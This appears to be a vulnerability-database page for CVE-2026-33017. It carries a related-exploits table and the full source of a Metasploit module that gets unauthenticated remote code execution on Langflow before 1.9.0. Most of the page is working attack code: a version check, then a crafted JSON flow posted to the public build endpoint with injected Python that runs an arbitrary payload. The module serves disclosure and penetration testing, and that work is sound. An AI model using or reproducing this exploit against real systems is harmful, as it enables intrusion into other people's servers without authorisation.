Lucene search
+L

📄 Langflow Remote Code Execution

🗓️ 11 Aug 2026 00:00:00Reported by Richard Howe, DiamorphineType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 12 Views

Unauthenticated RCE in Langflow before 1.9.0 via /api/v1/build_public_tmp/<flow_id>/flow endpoint (CVE-2026-33017).

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Command Injection in Paloaltonetworks Pan-Os
30 Mar 202613:39
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
22 May 202622:01
githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
16 Jul 202617:13
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
13 Apr 202618:33
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Langflow
20 Apr 202614:54
githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
4 Jul 202621:54
githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
2 Jul 202609:47
githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
13 Aug 202614:06
githubexploit
githubexploit
GithubExploit
Exploit for Eval Injection in Langflow
4 Jul 202611:27
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-33017
21 Mar 202617:06
githubexploit
Rows per page
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow Unauth RCE',
            'Description' => %q{
              Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the
              /api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted
              HTTP requests to execute arbitrary code.
            },
            'Author' => [
              'Richard Howe <rhowe425>',  # Metasploit module
              'Diamorphine'               # Discovered vulnerability
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-33017'],
              ['EDB', '52627'],
              ['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896']
            ],
            'Targets' => [
              [
                'Python payload',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => '"'
            },
            'DisclosureDate' => '2026-03-20',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]),
            Opt::RPORT(7860)
          ]
        )
      end
    
      def check
        res = send_request_cgi(
          {
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'api/v1/version')
          }
        )
        return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    
        doc = res.get_json_document
        package = doc.is_a?(Hash) ? doc['package'] : nil
        version_str = doc.is_a?(Hash) ? doc['version'] : nil
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
        return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
        return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow'
    
        begin
          version = Rex::Version.new(version_str)
        rescue StandardError
          return Exploit::CheckCode::Unknown('Failed to parse version.')
        end
    
        if version < Rex::Version.new('1.9.0')
          Exploit::CheckCode::Appears("Version #{version} appears vulnerable.")
        else
          Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
        end
      end
    
      def exploit
        flow_id = datastore['FLOW_ID']
        fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id
    
        # Randomize component identifiers
        node_id = Rex::Text.rand_text_alpha(8)
        component_display_name = Rex::Text.rand_text_alpha(5)
        component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"
    
        output_display_name = Rex::Text.rand_text_alpha(5)
        output_name = Rex::Text.rand_text_alpha(5).downcase
        output_method = Rex::Text.rand_text_alpha(5).downcase
    
        # The payload is executed within the output method so it runs when the
        # component vertex is invoked; the class definition allows Langflow to
        # resolve the component vertex.
        injected_code = "from lfx.custom.custom_component.component import Component\n" \
                        "from lfx.io import Output\n" \
                        "from lfx.schema.data import Data\n" \
                        "\n" \
                        "class #{component_name}(Component):\n" \
                        "    display_name='#{component_display_name}'\n" \
                        "    outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \
                        "    def #{output_method}(self)->Data:\n" \
                        "        #{payload.encode.gsub("\n", "\n        ")}\n" \
                        "        return Data(data={})\n"
    
        data = {
          'data' => {
            'nodes' => [
              {
                'id' => node_id,
                'type' => 'genericNode',
                'position' => {
                  'x' => 0,
                  'y' => 0
                },
                'data' => {
                  'id' => node_id,
                  'type' => component_name,
                  'node' => {
                    'template' => {
                      'code' => {
                        'type' => 'code',
                        'required' => true,
                        'show' => true,
                        'multiline' => true,
                        'value' => injected_code,
                        'name' => 'code',
                        'password' => false,
                        'advanced' => false,
                        'dynamic' => false
                      },
                      '_type' => 'Component'
                    },
                    'description' => component_display_name,
                    'base_classes' => ['Data'],
                    'display_name' => component_name,
                    'name' => component_name,
                    'frozen' => false,
                    'outputs' => [
                      {
                        'types' => ['Data'],
                        'selected' => 'Data',
                        'name' => output_name,
                        'display_name' => output_display_name,
                        'method' => output_method,
                        'value' => '__UNDEFINED__',
                        'cache' => true,
                        'allows_loop' => false,
                        'tool_mode' => false,
                        'hidden' => nil,
                        'required_inputs' => nil,
                        'group_outputs' => false
                      }
                    ],
                    'field_order' => ['code'],
                    'beta' => false,
                    'edited' => false
                  }
                }
              }
            ],
            'edges' => []
          },
          'inputs' => nil
        }
    
        res = send_request_cgi(
          {
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
            'headers' => {
              'Content-Type' => 'application/json'
            },
            'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}",
            'data' => data.to_json
          }
        )
    
        fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res
    
        unless res.code.between?(200, 299)
          fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).")
        end
    
        print_status('Payload sent successfully.')
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
9.9High risk
Vulners AI Score9.9
CVSS 3.19.8
CVSS 49.3
EPSS0.96177
SSVC
12